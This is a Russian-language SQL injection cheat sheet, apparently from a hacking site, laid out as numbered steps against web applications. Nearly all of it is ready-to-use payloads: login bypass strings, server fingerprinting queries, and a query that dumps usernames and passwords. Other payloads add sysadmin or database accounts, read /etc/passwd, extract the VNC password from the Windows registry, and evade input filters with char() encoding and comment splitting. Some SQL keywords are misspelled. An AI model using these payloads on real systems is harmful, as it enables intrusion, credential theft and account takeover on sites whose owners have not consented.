1. Вступление. 2. Проверка на уязвимости. 3. Сбор информации. 4. Типы данных. 5. Берём пароли. 6. Создаём аккаунт для БД. 7. Взаимодействие с ОС из MySQL 8. Имя и настройка сервера. 9. Получаем VNC пароль из Реестра. 10. Обход определённых ограничений. 11. MySQL - обход входных значений, за счёт использования Char(). 12.Обход ограничений используя коментарии. 13.Строки без кавычек. 1. Когда на сервере открыт только 80 порт, и вероятнее всего, что админ пропатчил сервер, лучший вариант - перейти к веб атакам. SQL injection это один из самых распространенных видов веб атак. Ты атакуешь скрипт, (ASP,JSP,PHP,CGI .. etc) нежели вебсервер или какую либо службу запущенную из ОС. SQL injection это способ использовать комманды введённые через вэб страницы, большинство страниц берут параметры вводимые пользователем, таких как имя пользователя или пароль или возможно даже e-mail. Все они используют SQL запросы. 2. Стоит начать с чего-то простого. - Login:' or 1=1-- - Pass:' or 1=1-- - http://website/index.asp?id=' or 1=1-- Так же можно попробывать еще такие простоые варианты : - ' having 1=1-- - ' group by userid having 1=1-- - ' SELECT name FROM syscolumns WHERE id = (SELECT id FROM sysobjects WHERE name = 'tablename')-- - ' union select sum(columnname) from tablename-- 3. Собираем информацию. - ' or 1 in (select @@version)-- - ' union all select @@version-- Данные запросы выведут данные о компьютер, ОС, сервис паке. 4. Нужные таблицы с информацией. Oracle -->SYS.USER_OBJECTS (USEROBJECTS) -->SYS.USER_VIEWS -->SYS.USER_TABLES -->SYS.USER_VIEWS -->SYS.USER_TAB_COLUMNS -->SYS.USER_CATALOG -->SYS.USER_TRIGGERS -->SYS.ALL_TABLES -->SYS.TAB MySQL -->mysql.user -->mysql.host -->mysql.db MS access -->MsysACEs -->MsysObjects -->MsysQueries -->MsysRelationships MS SQL Server -->sysobjects -->syscolumns -->systypes -->sysdatabases 5. Берём пароли. '; begin declare @var varchar(8000) set @var=':' select @var=@var+'+login+'/'+password+' ' from users where login > @var select @var as var into temp end -- ' and 1 in (select var from temp)-- ' ; drop table temp -- 6.Создаём Аккаунт MS SQL exec sp_addlogin 'name' , 'password' exec sp_addsrvrolemember 'name' , 'sysadmin' MySQL INSERT INTO mysql.user (user, host, password) VALUES ('name', 'localhost', PASSWORD('pass123')) Access CRATE USER name IDENTIFIED BY 'pass123' Postgres (requires Unix account) CRATE USER name WITH PASSWORD 'pass123' Oracle CRATE USER name IDENTIFIED BY pass123 TEMPORARY TABLESPACE temp DEFAULT TABLESPACE users; GRANT CONNECT TO name; GRANT RESOURCE TO name; 7. Взаимодействие с ОС через MySQL. - ' union select 1,load_file('/etc/passwd'),1,1,1; 8. Имя сервера и настройка. - ' and 1 in (select @@servername)-- - ' and 1 in (select servername from master.sysservers)-- 9. Получаем пароль VNC из реестра. - '; declare @out binary(8) - exec master..xp_regread - @rootkey = 'HKEY_LOCAL_MACHINE', - @key = 'SOFTWAREORLWinVNC3Default', - @value_name='password', - @value = @out output - select cast (@out as bigint) as x into TEMP-- - ' and 1 in (select cast(x as varchar) from temp)-- 10. Обход ограничений. - ' OR 'unusual' = 'unusual' - ' OR 'something' = 'some'+'thing' - ' OR 'text' = N'text' - ' OR 'something' like 'some%' - ' OR 2 > 1 - ' OR 'text' > 't' - ' OR 'whatever' in ('whatever') - ' OR 2 BETWEEN 1 and 3 11.Обход ограничений на входящую строку используя char(). Втавляем без кавычек (строку = "%"): --> ' or username like char(37); Втавляем без кавычек (строку = "root"): --> ' union select * from users where login = char(114,111,111,116); Втавляем без кавычек (строку = "/etc/passwd"): -->' union select 1;(load_file(char(47,101,116,99,47,112,97,115,115,119,100))),1,1,1; Втавляем без кавычек (строку = "n.ext"): -->' and 1=( if((load_file(char(110,46,101,120,116))char(39,39)),1,0)); 12. Используя коментарии -->'/**/OR/**/1/**/=/**/1 -->Username:' or 1/* -->Password:*/=1-- -->UNI/**/ON SEL/**/ECT -->(Oracle) '; EXECUTE IMMEDIATE 'SEL' || 'ECT US' || 'ER' -->(MS SQL) '; EXEC ('SEL' + 'ECT US' + 'ER') 13 Сторки без кавычек. 13.Strings without quotes. --> INSERT INTO Users(Login, Password, Level) VALUES( char(0x70) + char(0x65) + char(0x74) + char(0x65) + char(0x72) + char(0x70) + char(0x65) + char(0x74) + char(0x65) + char(0x72), 0x64) Greets: kaneda, modem, wildcard, #black and pulltheplug. HackZona.ru